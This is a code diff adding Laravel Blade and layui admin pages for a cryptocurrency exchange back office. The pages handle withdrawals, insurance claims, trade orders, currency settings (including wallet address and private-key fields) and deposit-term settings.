,{field: 'create_time', title: '提币时间', minWidth:180}
|
||||
,{title:'操作',minWidth:90,toolbar: '#barDemo'}
|
||||
|
||||
]]
|
||||
});
|
||||
//监听热卖操作
|
||||
// form.on('switch(sexDemo)', function(obj){
|
||||
// var id = this.value;
|
||||
// $.ajax({
|
||||
// url:'{{url('admin/product_hot')}}',
|
||||
// type:'post',
|
||||
// dataType:'json',
|
||||
// data:{id:id},
|
||||
// success:function (res) {
|
||||
// if(res.error != 0){
|
||||
// layer.msg(res.msg);
|
||||
// }
|
||||
// }
|
||||
// });
|
||||
// });
|
||||
|
||||
table.on('tool(test)', function(obj){
|
||||
var data = obj.data;
|
||||
if(obj.event === 'del'){
|
||||
layer.confirm('真的删除行么', function(index){
|
||||
$.ajax({
|
||||
url:'{{url('admin/cashb_show')}}',
|
||||
type:'post',
|
||||
dataType:'json',
|
||||
data:{id:data.id},
|
||||
success:function (res) {
|
||||
if(res.type == 'error'){
|
||||
layer.msg(res.message);
|
||||
}else{
|
||||
obj.del();
|
||||
layer.close(index);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
});
|
||||
} else if(obj.event === 'show'){
|
||||
layer_show('确认提币','{{url('admin/cashb_show')}}?id='+data.id,800,600);
|
||||
} else if(obj.event === 'back'){
|
||||
layer_show('退回申请','{{url('admin/adjust_account')}}?id='+data.id,800,600);
|
||||
}
|
||||
});
|
||||
|
||||
//监听提交
|
||||
form.on('submit(mobile_search)', function(data){
|
||||
var account_number = data.field.user_name;
|
||||
table.reload('mobileSearch',{
|
||||
where:{account_number:account_number},
|
||||
page: {curr: 1} //重新从第一页开始
|
||||
});
|
||||
return false;
|
||||
});
|
||||
|
||||
});
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
@@ -0,0 +1,168 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
<style>
|
||||
p.percent {
|
||||
text-align: right;
|
||||
margin-right: 10px;
|
||||
}
|
||||
p.percent::after {
|
||||
content: '%';
|
||||
}
|
||||
</style>
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
<form class="layui-form layui-form-pane layui-inline" action="">
|
||||
|
||||
<div class="layui-inline" style="margin-left: 50px;">
|
||||
<label class="layui-form-label">交易账号</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="text" name="mobile" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-inline" style="margin-left: 50px;">
|
||||
<label class="layui-form-label">姓名</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="text" name="name" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline" style="margin-left: 50px;">
|
||||
<label>保险类型 </label>
|
||||
<div class="layui-input-inline">
|
||||
<select name="type" id="type" class="layui-input">
|
||||
<option value="-1">所有类型</option>
|
||||
|
||||
@foreach ($ins_type as $key=> $ins)
|
||||
<option value="{{ $ins->id }}">{{ $ins->name }}</option>
|
||||
@endforeach
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline" style="margin-left: 50px;">
|
||||
<label>理赔状态 </label>
|
||||
<div class="layui-input-inline">
|
||||
<select name="apply_status" id="apply_status" class="layui-input">
|
||||
<option value="-1">所有</option>
|
||||
|
||||
<option value="0">理赔中</option>
|
||||
<option value="1">已赔付</option>
|
||||
<option value="2">已拒绝</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<div class="layui-input-inline">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="mobile_search"><i class="layui-icon"></i></button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
</form>
|
||||
<table id="demo" lay-filter="test"></table>
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script type="text/html" id="barDemo">
|
||||
|
||||
@{{d.apply_status==0 ? '<a class="layui-btn layui-btn-xs" lay-event="affirm">理赔</a>
|
||||
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="reject">拒绝</a>' : '' }}
|
||||
|
||||
</script>
|
||||
|
||||
<script>
|
||||
layui.use(['table','form','laydate'], function(){
|
||||
var table = layui.table;
|
||||
var $ = layui.jquery;
|
||||
var form = layui.form;
|
||||
var laydate = layui.laydate;
|
||||
//第一个实例
|
||||
table.render({
|
||||
elem: '#demo'
|
||||
,toolbar: '#toolbar'
|
||||
,url: '{{url('admin/claim_list')}}' //数据接口
|
||||
,page: true //开启分页
|
||||
,id:'mobileSearch'
|
||||
,cols: [[ //表头
|
||||
{field: 'id', title: 'ID', width:60, sort: true}
|
||||
,{field: 'mobile', title: '用户', minWidth:80}
|
||||
,{field: 'user_name', title: '姓名', minWidth:80}
|
||||
,{field: 'user_insurance_id', title: '保险单', minWidth:80}
|
||||
,{field: 'insurance_type_name', title: '保险类型', minWidth:80}
|
||||
,{field: 'amount', title: '保险金额', minWidth:80}
|
||||
,{field: 'status_name', title: '理赔状态', minWidth:80}
|
||||
,{field: 'compensate', title: '理赔金额', minWidth:80}
|
||||
,{field: 'created_at', title: '申请时间', minWidth:80}
|
||||
,{field: 'updated_at', title: '处理时间', minWidth:80}
|
||||
|
||||
,{title:'操作',width:240,toolbar: '#barDemo'}
|
||||
]]
|
||||
});
|
||||
//监听提交
|
||||
form.on('submit(mobile_search)', function(data){
|
||||
console.log(data.field);
|
||||
table.reload('mobileSearch',{
|
||||
where:data.field,
|
||||
page: {curr: 1} //重新从第一页开始
|
||||
});
|
||||
return false;
|
||||
});
|
||||
laydate.render({
|
||||
elem: '#start_time'
|
||||
});
|
||||
laydate.render({
|
||||
elem: '#end_time'
|
||||
});
|
||||
|
||||
table.on('tool(test)', function(obj){
|
||||
var data = obj.data;
|
||||
if(obj.event === 'affirm'){
|
||||
layer.confirm('确认理赔吗', function(index){
|
||||
$.ajax({
|
||||
url:'{{url('admin/claim_affirm')}}',
|
||||
type:'post',
|
||||
dataType:'json',
|
||||
data:{id:data.id},
|
||||
success:function (res) {
|
||||
layer.msg(res.message);
|
||||
if(res.type == 'error'){
|
||||
layer.msg(res.message);
|
||||
}else{
|
||||
table.reload('mobileSearch',{
|
||||
page: {curr: 1} //重新从第一页开始
|
||||
}); }
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
});
|
||||
} else if(obj.event === 'reject'){
|
||||
layer.confirm('是否驳回', function(index){
|
||||
$.ajax({
|
||||
url:'{{url('admin/claim_reject')}}',
|
||||
type:'post',
|
||||
dataType:'json',
|
||||
data:{id:data.id},
|
||||
success:function (res) {
|
||||
layer.msg(res.message);
|
||||
if(res.type == 'error'){
|
||||
layer.msg(res.message);
|
||||
}else{
|
||||
setTimeout(function () {
|
||||
location.reload()
|
||||
}, 2000)
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
});
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
@@ -0,0 +1,175 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
|
||||
@section('page-head')
|
||||
<style>
|
||||
[hide] {
|
||||
display: none;
|
||||
}
|
||||
</style>
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
|
||||
<div class="layui-fluid">
|
||||
<div class="layui-card">
|
||||
<div class="layui-form layuiadmin-card-header-auto" lay-filter="layadmin-userfront-formlist">
|
||||
<div class="layui-form-item">
|
||||
<!--<div class="layui-inline">-->
|
||||
<!-- <label class="layui-form-label">ID</label>-->
|
||||
<!-- <div class="layui-input-block">-->
|
||||
<!-- <input type="text" name="id" placeholder="请输入" autocomplete="off" class="layui-input">-->
|
||||
<!-- </div>-->
|
||||
<!--</div>-->
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">用户</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="text" name="mobile" placeholder="请输入" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">交易类型</label>
|
||||
<div class="layui-input-inline">
|
||||
<select name="type" class="layui-input">
|
||||
<option value="">选择交易类型</option>
|
||||
<option value="1">买</option>
|
||||
<option value="2">卖</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">状态</label>
|
||||
<div class="layui-input-inline">
|
||||
<select name="status" class="layui-input">
|
||||
<option value="">选择状态</option>
|
||||
<option value="1">委托中</option>
|
||||
<option value="2">已完成</option>
|
||||
<option value="3">已取消</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-inline">
|
||||
<button class="layui-btn layuiadmin-btn-useradmin" lay-submit lay-filter="searchtj">
|
||||
<i class="layui-icon layui-icon-search layuiadmin-button-btn"></i>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-card-body">
|
||||
|
||||
<table id="coin_trade" lay-filter="coin_trade"></table>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script type="text/html" id="barDemo">
|
||||
<!--<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="getsons"><i class="layui-icon layui-icon-friends"></i>下级</a>-->
|
||||
<a class="layui-btn layui-btn-xs " style="@{{ d.status == 1 ? '' : 'display:none' }}" lay-event="qiangzhi">@{{ d.status == 1 ? '强制交易' : '' }}</a>
|
||||
</script>
|
||||
|
||||
<script>
|
||||
layui.use(['table','form'], function(){
|
||||
// console.log(layui.setter.base)
|
||||
var table = layui.table;
|
||||
var $ = layui.jquery;
|
||||
var form = layui.form;
|
||||
|
||||
//第一个实例
|
||||
table.render({
|
||||
elem: '#coin_trade'
|
||||
,url: '{{url('admin/coin_trade/list')}}' //数据接口
|
||||
,page: true //开启分页
|
||||
,id:'mobileSearch'
|
||||
,cols: [[ //表头
|
||||
{field: 'id', title: 'ID', width:80, sort: true}
|
||||
|
||||
,{field: 'account_number', title: '用户', width:200}
|
||||
,{ title: '交易类型', width:200,templet:function(d){
|
||||
if(d.type==1){
|
||||
return "<span style='color:#00c087'>买</span>";
|
||||
}else if(d.type==2){
|
||||
return "<span style='color:#f00'>卖</span>";
|
||||
}
|
||||
}}
|
||||
,{ title: '交易对', width:200,templet:function(d){
|
||||
return d.currency_name+"/"+d.legal_name;
|
||||
}}
|
||||
,{ title: '委托价', width:100,templet:function(d){
|
||||
return (parseFloat(d.target_price).toFixed(2));
|
||||
}}
|
||||
,{ title: '委托量', width:120,templet:function(d){
|
||||
return (parseFloat(d.trade_amount).toFixed(4));
|
||||
}}
|
||||
// ,{field: 'charge_fee', title: '手续费'}
|
||||
,{ title: '手续费',templet:function(d){
|
||||
return (d.target_price*d.trade_amount*d.charge_fee).toFixed(4);
|
||||
}}
|
||||
,{field: 'created_at', title: '委托时间'}
|
||||
,{title: '状态' ,templet:function(d){
|
||||
if(d.status==1){
|
||||
return "<span style='color:#00c087'>委托中</span>";
|
||||
}else if(d.status==2){
|
||||
return "<span style='color:#f00'>已完成</span>";
|
||||
}else if(d.status==3){
|
||||
return "<span style='color:#999'>已取消</span>";
|
||||
}
|
||||
}}
|
||||
,{title:'操作',minWidth:100,toolbar: '#barDemo'}
|
||||
]]
|
||||
});
|
||||
//监听提交
|
||||
form.on('submit(searchtj)', function(data){
|
||||
// var seller_name = data.field.seller_name
|
||||
var account_number = data.field.mobile,
|
||||
type = data.field.type,
|
||||
status = data.field.status;
|
||||
// ,currency_id = $('#currency_id').val()
|
||||
|
||||
table.reload('mobileSearch',{
|
||||
where:{
|
||||
type:type,
|
||||
status:status,
|
||||
search:account_number,
|
||||
// currency_id:currency_id,
|
||||
},
|
||||
page: {curr: 1} //重新从第一页开始
|
||||
});
|
||||
return false;
|
||||
});
|
||||
table.on('tool(coin_trade)', function(obj){
|
||||
var data = obj.data;
|
||||
if(obj.event === 'getsons'){
|
||||
table.reload('mobileSearch',{
|
||||
where:{
|
||||
p_id:data.id,
|
||||
// currency_id:currency_id,
|
||||
},
|
||||
page: {curr: 1} //重新从第一页开始
|
||||
});
|
||||
}
|
||||
if(obj.event === 'qiangzhi'){
|
||||
$.post('coin_trade/close',{
|
||||
id:data.id
|
||||
},function(res){
|
||||
if(res.type=="ok"){
|
||||
layer.msg('操作成功');
|
||||
setTimeout(function (){
|
||||
table.reload('mobileSearch',{
|
||||
page: {curr: 1} //重新从第一页开始
|
||||
});
|
||||
},1500)
|
||||
}else{
|
||||
layer.msg('操作失败');
|
||||
}
|
||||
})
|
||||
}
|
||||
});
|
||||
});
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
@@ -0,0 +1,337 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
<style>
|
||||
.hide {
|
||||
display: none;
|
||||
}
|
||||
</style>
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
<form class="layui-form" action="">
|
||||
<div class="layui-tab">
|
||||
<ul class="layui-tab-title">
|
||||
<li class="layui-this">基础参数</li>
|
||||
<li>期权参数</li>
|
||||
<li>提币参数</li>
|
||||
<li>充币参数</li>
|
||||
<!--<li>链上参数</li>-->
|
||||
</ul>
|
||||
<div class="layui-tab-content">
|
||||
<div class="layui-tab-item layui-show">
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">币种名称</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="text" name="name" lay-verify="required" autocomplete="off" placeholder="" class="layui-input" value="{{$result->name}}">
|
||||
</div>
|
||||
<div class="layui-form-mid layui-word-aux">请确保在交易所中该币种名称是惟一的</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">排序</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="number" class="layui-input" id="sort" name="sort" value="{{$result->sort}}" placeholder="排序为升序">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">价值</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="number" class="layui-input" id="price" name="price" value="{{$result->price}}" placeholder="价值">
|
||||
</div>
|
||||
<div class="layui-form-mid layui-word-aux">$</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">折合人民币比例</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="number" class="layui-input" id="rmb_relation" name="rmb_relation" value="{{$result->rmb_relation}}" placeholder="百分比">
|
||||
</div>
|
||||
<!-- <div class="layui-form-mid layui-word-aux">%</div> -->
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">账户资产类型</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="checkbox" name="is_legal" title="法币交易" value="1" lay-skin="primary" @if($result->is_legal ==1) checked @endif>
|
||||
<input type="checkbox" name="is_lever" title="合约交易" value="1" lay-skin="primary" @if($result->is_lever ==1) checked @endif>
|
||||
<input type="checkbox" name="is_micro" title="期权交易" value="1" lay-filter="microtrade" lay-skin="primary" @if($result->is_micro ==1) checked @endif>
|
||||
<input type="checkbox" name="is_match" title="闪兑交易" value="1" lay-skin="primary" @if($result->is_match ==1) checked @endif>
|
||||
</div>
|
||||
<div class="layui-form-mid layui-word-aux"></div>
|
||||
</div>
|
||||
<div class="layui-form-item layui-form-text">
|
||||
<label class="layui-form-label">币种 logo</label>
|
||||
<div class="layui-input-block">
|
||||
<button class="layui-btn" type="button" id="upload_test">选择图片</button>
|
||||
<br>
|
||||
<img src="@if(!empty($result->logo)){{$result->logo}}@endif" id="img_thumbnail" class="thumbnail" style="display: @if(!empty($result->logo)){{"block"}}@else{{"none"}}@endif;max-width: 200px;height: auto;margin-top: 5px;">
|
||||
<input type="hidden" name="logo" id="thumbnail" value="@if(!empty($result->logo)){{$result->logo}}@endif">
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-tab-item">
|
||||
<div id="micro_trade_fee" class="layui-form-item {{$result->is_micro == 1 ? '' : 'hide'}}">
|
||||
<label class="layui-form-label">期权手续费</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="number" class="layui-input" id="" name="micro_trade_fee" value="{{$result->micro_trade_fee}}" placeholder="百分比">
|
||||
</div>
|
||||
<div class="layui-form-mid layui-word-aux">%</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">下单数量范围</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="number" class="layui-input" name="micro_min" value="{{$result->micro_min}}" placeholder="最小数量">
|
||||
</div>
|
||||
<div class="layui-form-mid">-</div>
|
||||
<div class="layui-input-inline">
|
||||
<input type="number" class="layui-input" name="micro_max" value="{{$result->micro_max}}" placeholder="最大数量">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">最大持仓笔数</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="number" class="layui-input" name="micro_holdtrade_max" value="{{$result->micro_holdtrade_max}}" placeholder="最大持仓笔数">
|
||||
</div>
|
||||
<div class="layui-form-mid layui-word-aux">用户最大可持仓笔数,为0不限制</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">是否购买保险</label>
|
||||
<div class="layui-input-block">
|
||||
<div class="layui-input-inline">
|
||||
<input type="radio" name="insurancable" value="1" title="打开" @if (isset($result->insurancable)) {{$result->insurancable == 1 ? 'checked' : ''}} @endif >
|
||||
<input type="radio" name="insurancable" value="0" title="关闭" @if (isset($result->insurancable)) {{$result->insurancable == 0 ? 'checked' : ''}} @else checked @endif >
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-tab-item">
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">提币数量</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="number" class="layui-input" id="end_time" name="min_number" value="{{$result->min_number}}" placeholder="最小数量">
|
||||
</div>
|
||||
<div class="layui-form-mid">-</div>
|
||||
<div class="layui-input-inline">
|
||||
<input type="number" class="layui-input" id="end_time" name="max_number" value="{{$result->max_number}}" placeholder="最大数量">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">提币费率</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="number" class="layui-input" id="end_time" name="rate" value="{{$result->rate}}" placeholder="百分比">
|
||||
</div>
|
||||
<div class="layui-form-mid"></div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-tab-item">
|
||||
<div class="layui-form-item {{$result->id == 3 ? '' : 'hide'}}">
|
||||
<label class="layui-form-label">充币地址trc20</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" class="layui-input" id="address_omni" name="address_omni" value="{{$result->address_omni}}" placeholder="地址">
|
||||
</div>
|
||||
</div>
|
||||
@if ( $result->id ==3)
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">充币地址erc20</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" class="layui-input" id="address_erc" name="address_erc" value="{{$result->address_erc}}" placeholder="地址">
|
||||
</div>
|
||||
</div>
|
||||
@endif
|
||||
@if ( $result->id !=3)
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">充币地址</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" class="layui-input" id="address_erc" name="address_erc" value="{{$result->address_erc}}" placeholder="地址">
|
||||
</div>
|
||||
</div>
|
||||
@endif
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">二级密码</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="password" class="layui-input" id="second_pwd" name="second_pwd" value="" placeholder="二级密码">
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-tab-item">
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">基于币种</label>
|
||||
<div class="layui-input-inline">
|
||||
<select name="type" lay-verify="required">
|
||||
<option value="btc" @if($result->type =='btc') selected @endif>BTC</option>
|
||||
<option value="usdt" @if($result->type =='usdt') selected @endif>USDT</option>
|
||||
<option value="eth" @if($result->type =='eth') selected @endif>ETH</option>
|
||||
<option value="erc20" @if($result->type =='erc20') selected @endif>ERC20</option>
|
||||
<option value="xrp" @if($result->type =='xrp') selected @endif>XRP</option>
|
||||
</select>
|
||||
</div>
|
||||
<div class="layui-form-mid layui-word-aux">新添加币种必须指定正确所属区块链币种</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">总账号</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="total_account" autocomplete="off" placeholder="运营者的钱包地址" class="layui-input" value="{{$result->total_account}}">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">私钥</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="password" name="key" autocomplete="off" placeholder="运营者的钱包私钥" class="layui-input" value="{{$result->key}}">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">合约地址</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="contract_address" autocomplete="off" placeholder="仅ERC20代币才需要填写" class="layui-input" value="{{$result->contract_address}}">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">发币位数</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="text" name="decimal_scale" autocomplete="off" placeholder="" class="layui-input" value="{{$result->decimal_scale ?? 18}}">
|
||||
</div>
|
||||
<div class="layui-form-mid layui-word-aux">请务必保证与区域链上小数位一致</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">链上手续费</label>
|
||||
<div class="layui-input-block">
|
||||
<div class="layui-input-inline">
|
||||
<input type="text" name="chain_fee" autocomplete="off" placeholder="" class="layui-input" value="{{$result->chain_fee ?? 0 }}">
|
||||
</div>
|
||||
<div class="layui-form-mid layui-word-aux">链上归拢、提币的手续费</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">安全验证码</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="text" name="verificationcode" placeholder="" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
<button type="button" class="layui-btn layui-btn-primary" id="get_code">获取验证码</button>
|
||||
</div>
|
||||
@if (isset($result->id) && $result->id > 0)
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">总账号地址</label>
|
||||
<div class="layui-input-block">
|
||||
<button id="set_out_address" class="layui-btn layui-btn-warm layui-btn-sm" type="button" data-id="{{$result->id}}">转出地址</button>
|
||||
<button id="set_in_address" class="layui-btn layui-btn-danger layui-btn-sm" type="button" data-id="{{$result->id}}">归拢地址</button>
|
||||
</div>
|
||||
</div>
|
||||
@endif
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<input id="currency_id" type="hidden" name="id" value="{{$result->id}}">
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-input-block">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="demo1">立即提交</button>
|
||||
<button type="reset" class="layui-btn layui-btn-primary">重置</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script>
|
||||
layui.use(['upload', 'form', 'laydate', 'element', 'layer'], function () {
|
||||
var upload = layui.upload
|
||||
,form = layui.form
|
||||
,layer = layui.layer
|
||||
,$ = layui.$
|
||||
,laydate = layui.laydate
|
||||
,index = parent.layer.getFrameIndex(window.name)
|
||||
,element = layui.element
|
||||
var uploadInst = upload.render({
|
||||
elem: '#upload_test' //绑定元素
|
||||
,url: '{{URL("api/upload")}}?scene=admin' //上传接口
|
||||
,done: function(res){
|
||||
//上传完毕回调
|
||||
if (res.type == "ok"){
|
||||
$("#thumbnail").val(res.message)
|
||||
$("#img_thumbnail").show()
|
||||
$("#img_thumbnail").attr("src",res.message)
|
||||
} else{
|
||||
alert(res.message)
|
||||
}
|
||||
}
|
||||
,error: function(){
|
||||
//请求异常回调
|
||||
}
|
||||
});
|
||||
var currency_id = $('#currency_id').val();
|
||||
|
||||
//监听提交
|
||||
form.on('submit(demo1)', function(data){
|
||||
var data = data.field;
|
||||
$.ajax({
|
||||
url:'{{url('admin/currency_add')}}'
|
||||
,type:'post'
|
||||
,dataType:'json'
|
||||
,data: data
|
||||
,success: function(res) {
|
||||
layer.msg(res.message, {
|
||||
time: 2000
|
||||
,end: function () {
|
||||
if(res.type == 'ok') {
|
||||
parent.layer.close(index);
|
||||
parent.window.location.reload();
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
}
|
||||
});
|
||||
return false;
|
||||
});
|
||||
form.on('checkbox(microtrade)', function (data) {
|
||||
if (data.elem.checked) {
|
||||
$('#micro_trade_fee').removeClass('hide');
|
||||
} else {
|
||||
$('#micro_trade_fee').addClass('hide');
|
||||
}
|
||||
});
|
||||
|
||||
//获取验证码
|
||||
$('#get_code').click(function () {
|
||||
var that_btn = $(this);
|
||||
$.ajax({
|
||||
url: '/admin/safe/verificationcode'
|
||||
,type: 'GET'
|
||||
,success: function (res) {
|
||||
if (res.type == 'ok') {
|
||||
that_btn.attr('disabled', true);
|
||||
that_btn.toggleClass('layui-btn-disabled');
|
||||
}
|
||||
layer.msg(res.message, {
|
||||
time: 3000
|
||||
});
|
||||
}
|
||||
,error: function () {
|
||||
layer.msg('网络错误');
|
||||
}
|
||||
});
|
||||
});
|
||||
// 设置转出地址
|
||||
$('#set_out_address').click(function () {
|
||||
parent.layui.layer.open({
|
||||
title: '设置转出地址'
|
||||
,type: 2
|
||||
,content: '/admin/currency/set_out_address/' + currency_id
|
||||
,area: ['490px', '350px']
|
||||
});
|
||||
});
|
||||
// 设置转入地址
|
||||
$('#set_in_address').click(function () {
|
||||
parent.layui.layer.open({
|
||||
title: '设置转入地址'
|
||||
,type: 2
|
||||
,content: '/admin/currency/set_in_address/' + currency_id
|
||||
,area: ['490px', '250px']
|
||||
});
|
||||
});
|
||||
|
||||
});
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
@@ -0,0 +1,120 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
<style>
|
||||
.layui-form-label {
|
||||
width: 150px;
|
||||
}
|
||||
.layui-input-block {
|
||||
margin-left: 180px;
|
||||
}
|
||||
</style>
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
<form class="layui-form" action="">
|
||||
<input type="hidden" id="myid" data-type="0">
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">期限</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="day" id="day" required autocomplete="off" placeholder="" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">利息</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="rate" id="rate" required autocomplete="off" placeholder="" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">最小值</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="save_min" id="save_min" autocomplete="off" placeholder="" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-input-block">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="demo1">立即提交</button>
|
||||
<button type="reset" class="layui-btn layui-btn-primary">重置</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script>
|
||||
let url=window.location.href;
|
||||
if(url.indexOf("c_id")!=-1){
|
||||
let id=url.substr(url.indexOf("c_id")+5);
|
||||
$("#myid").attr('data-type',0)
|
||||
$("#myid").val(id);
|
||||
}else if(url.indexOf("id")!=-1){
|
||||
let arr=url.substr(url.indexOf("?")+1);
|
||||
arr=arr.split("&");
|
||||
for(let i=0;i<arr.length;i++){
|
||||
if(i==0){
|
||||
$("#myid").attr('data-type',1)
|
||||
$("#myid").val(arr[i].split("=")[1]);
|
||||
}
|
||||
if(i==1){
|
||||
$("#day").val(arr[i].split("=")[1]);
|
||||
}
|
||||
if(i==2){
|
||||
$("#rate").val(arr[i].split("=")[1]);
|
||||
}
|
||||
if(i==3){
|
||||
$("#save_min").val(arr[i].split("=")[1]);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
layui.use(['form','laydate'],function () {
|
||||
var form = layui.form
|
||||
,$ = layui.jquery
|
||||
,laydate = layui.laydate
|
||||
,index = parent.layer.getFrameIndex(window.name);
|
||||
//监听提交
|
||||
form.on('submit(demo1)', function(data){
|
||||
var data = data.field;
|
||||
if($("#myid").attr('data-type')==0){
|
||||
data['currency_id']=$("#myid").val();
|
||||
$.ajax({
|
||||
url:'{{url('admin/currency/add_deposit_config')}}'
|
||||
,type:'post'
|
||||
,dataType:'json'
|
||||
,data : data
|
||||
,success:function(res){
|
||||
if(res.type=='error'){
|
||||
layer.msg(res.message);
|
||||
}else{
|
||||
parent.layer.close(index);
|
||||
parent.window.location.reload();
|
||||
}
|
||||
}
|
||||
});
|
||||
return false;
|
||||
}
|
||||
if($("#myid").attr('data-type')==1){
|
||||
data['id']=$("#myid").val();
|
||||
$.ajax({
|
||||
url:'{{url('admin/currency/edit_deposit_config')}}'
|
||||
,type:'post'
|
||||
,dataType:'json'
|
||||
,data : data
|
||||
,success:function(res){
|
||||
if(res.type=='error'){
|
||||
layer.msg(res.message);
|
||||
}else{
|
||||
parent.layer.close(index);
|
||||
parent.window.location.reload();
|
||||
}
|
||||
}
|
||||
});
|
||||
return false;
|
||||
}
|
||||
});
|
||||
